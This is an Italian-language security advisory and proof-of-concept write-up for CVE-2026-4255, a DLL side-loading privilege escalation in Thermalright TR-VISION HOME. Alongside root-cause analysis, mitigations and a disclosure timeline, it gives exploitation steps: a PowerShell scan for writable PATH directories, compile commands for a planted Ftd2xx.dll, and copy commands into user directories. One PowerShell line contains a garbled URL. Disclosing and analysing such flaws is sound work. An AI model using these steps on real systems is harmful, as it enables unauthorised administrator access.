
Proof-of-concept per CVE-2026-4255: escalation di privilegi tramite DLL side-loading in Thermalright TR-VISION HOME via PATH directory planting, con analisi completa della causa principale e indicazioni per la mitigazione.
Gravità: ALTA (CVSS 8.4)
CWE: CWE-829 Inclusione di funzionalità da una sfera di controllo non attendibile
Pubblicato: 16/03/2026
CNA: Toreon
Versioni interessate: Thermalright TR-VISION HOME ≤ 2.0.5 (Windows 64-bit)
Scoperto da: Ard33
Thermalright TR-VISION HOME carica Ftd2xx.dll (la libreria FTDI USB-to-serial) utilizzando l'ordine di ricerca predefinito di Windows per le DLL. Questo ordine include directory scrivibili dall'utente prima di posizioni di sistema protette. Poiché TR-VISION HOME viene sempre eseguito con privilegi amministrativi e non esegue alcuna verifica di integrità o firma sulle librerie caricate, un utente malintenzionato che può scrivere in qualsiasi directory nel PATH può posizionare una Ftd2xx.dll modificata e farla caricare con privilegi elevati al successivo avvio dell'applicazione.
Non sono necessari diritti amministrativi per posizionare la DLL. Un utente con privilegi bassi può sfruttare questa vulnerabilità contro qualsiasi utente che successivamente avvii TR-VISION HOME con elevazione.
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
| Metrica | Valore |
|---|---|
| Vettore di attacco | Locale |
| Complessità dell'attacco | Bassa |
| Requisiti dell'attacco | Nessuno |
L'applicazione chiama LoadLibrary("Ftd2xx.dll") (o lo importa implicitamente durante il caricamento) senza specificare un percorso completo. Windows risolve la libreria seguendo l'ordine di ricerca definito in Ordine di ricerca delle librerie a collegamento dinamico MSDN:
C:\Windows\System32)PATH ← sfruttabileUn utente malintenzionato posiziona Ftd2xx.dll in una directory scrivibile dall'utente che appare in PATH prima di System32. C:\Users\<Utente>\.local\bin) è una di queste directory ed è presente in PATH per default, rendendola una posizione di rilascio affidabile.
| Software | Versione | Piattaforma |
|---|---|---|
| Thermalright TR-VISION HOME | ≤ 2.0.5 | Windows x64 |
Testato su TR-VISION HOME 2.0.5 su Windows 11.
%PATH%1. Identificare una directory PATH scrivibile
$env:PATH -split ';' | Where-Object {
if (-not $_ -or -not (Test-Path $_)) { return $false }
try {
$t = Join-Path $_ '.wrtest'
[System.IO.File]:https://raw.githubusercontent.com/ard33/cve-2026-4255/HEAD/:Create($t).Close()
Remove-Item $t -Force
$true
} catch { $false }
}
Un valore predefinito affidabile: C:\Users\<Utente>\.local\bin
2. Compilare la DLL del PoC
MinGW (cross o nativo):
gcc -shared -o Ftd2xx.dll poc/Ftd2xx.c -Wl,--out-implib,Ftd2xx.lib
MSVC:
cl /LD poc\Ftd2xx.c /Fe:Ftd2xx.dll
3. Posizionare la DLL
Scegliere qualsiasi directory scrivibile dal passaggio 1. Due valori predefiniti comuni:
:: uv / pipx default scripts directory
copy Ftd2xx.dll "C:\Users\<victim>\.local\bin\Ftd2xx.dll"
:: Python Launcher (standard Python install)
copy Ftd2xx.dll "C:\Users\<victim>\AppData\Local\Programs\Python\Launcher\Ftd2xx.dll"
Nessuna elevazione richiesta per questo passaggio.
4. Attivazione
La vittima avvia TR-VISION HOME (ad esempio dal menu Start o dalla barra delle applicazioni). Il prompt UAC esegue l'applicazione con privilegi amministrativi. Durante l'inizializzazione, Ftd2xx.dll viene risolta tramite l'ordine di ricerca, la copia posizionata viene trovata prima di System32, e il DllMain dell'attaccante viene eseguito all'interno del processo elevato.
5. Risultato previsto
C:\Users\Public\CVE-2026-4255_pwned.txt, contenente:
TokenIsElevated = YESProcmon che mostra TR-VISION HOME (PID 78940) alla ricerca di Ftd2xx.dll nelle directory PATH — tutte restituiscono NAME NOT FOUND fino a quando la copia posizionata viene risolta:

Ftd2xx.dll posizionata in AppData\Local\Programs\Python\Launcher\ (data 26/12/2025 — giorno della scoperta):

Shell cmd elevata generata dalla DLL caricata — la barra del titolo conferma il contesto Amministratore:

Versione TR-VISION HOME 2.0.5:

Per Thermalright:
Ftd2xx.dll utilizzando un percorso completo in fase di esecuzione:
LoadLibraryExA("C:\\Windows\\System32\\Ftd2xx.dll", NULL, LOAD_LIBRARY_SEARCH_SYSTEM32);
LOAD_LIBRARY_SEARCH_SYSTEM32 o LOAD_LIBRARY_SEARCH_APPLICATION_DIR con LoadLibraryEx.WinVerifyTrust.HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\SafeDllSearchMode = 1), anche se questo non mitiga completamente il posizionamento basato su PATH.Per gli utenti (temporaneo):
Ftd2xx.dll legittima (dal pacchetto driver FTDI D2XX) direttamente nella directory di installazione di TR-VISION HOME (ad esempio C:\Program Files\TR-VISION HOME\). La directory dell'applicazione è la prima posizione cercata, quindi una copia legittima lì ha la priorità su qualsiasi posizionamento basato su PATH.| Data | Evento |
|---|---|
| 26/12/2025 | Vulnerabilità scoperta |
| 27/12/2025 | Fornitore (Thermalright) contattato tramite canali di supporto |
| 16/03/2026 | Divulgazione pubblica CVE-2026-4255 assegnata dal CNA Toreon |
Questa prova di concetto è fornita solo a scopo educativo e di ricerca. Il payload del PoC è intenzionalmente benigno scrive un file di testo e mostra una finestra di messaggio. Utilizzare solo contro sistemi di propria proprietà o per i quali si dispone di esplicita autorizzazione scritta per il test. L'autore non si assume alcuna responsabilità per un uso improprio.
| Privilegi richiesti | Nessuno |
| Interazione dell'utente | Attiva (la vittima avvia l'app) |